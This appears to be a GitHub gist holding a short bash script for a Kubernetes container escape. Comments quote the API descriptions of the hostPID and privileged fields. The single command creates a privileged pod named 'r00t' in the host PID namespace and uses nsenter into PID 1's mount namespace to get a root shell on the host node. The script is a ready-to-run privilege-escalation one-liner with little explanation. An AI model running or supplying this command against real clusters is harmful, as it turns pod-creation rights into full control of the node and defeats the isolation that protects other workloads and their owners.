Created
February 28, 2022 21:30
-
-
Save mohclips/dc0b82fd6911af0fd36cea612f1f081c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
#FIELD: hostPID <boolean> | |
#DESCRIPTION: | |
# Use the host's pid namespace. Optional: Default to false. | |
#FIELD: privileged <boolean> | |
#DESCRIPTION: | |
# Run container in privileged mode. Processes in privileged containers are | |
# essentially equivalent to root on the host. Defaults to false. | |
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment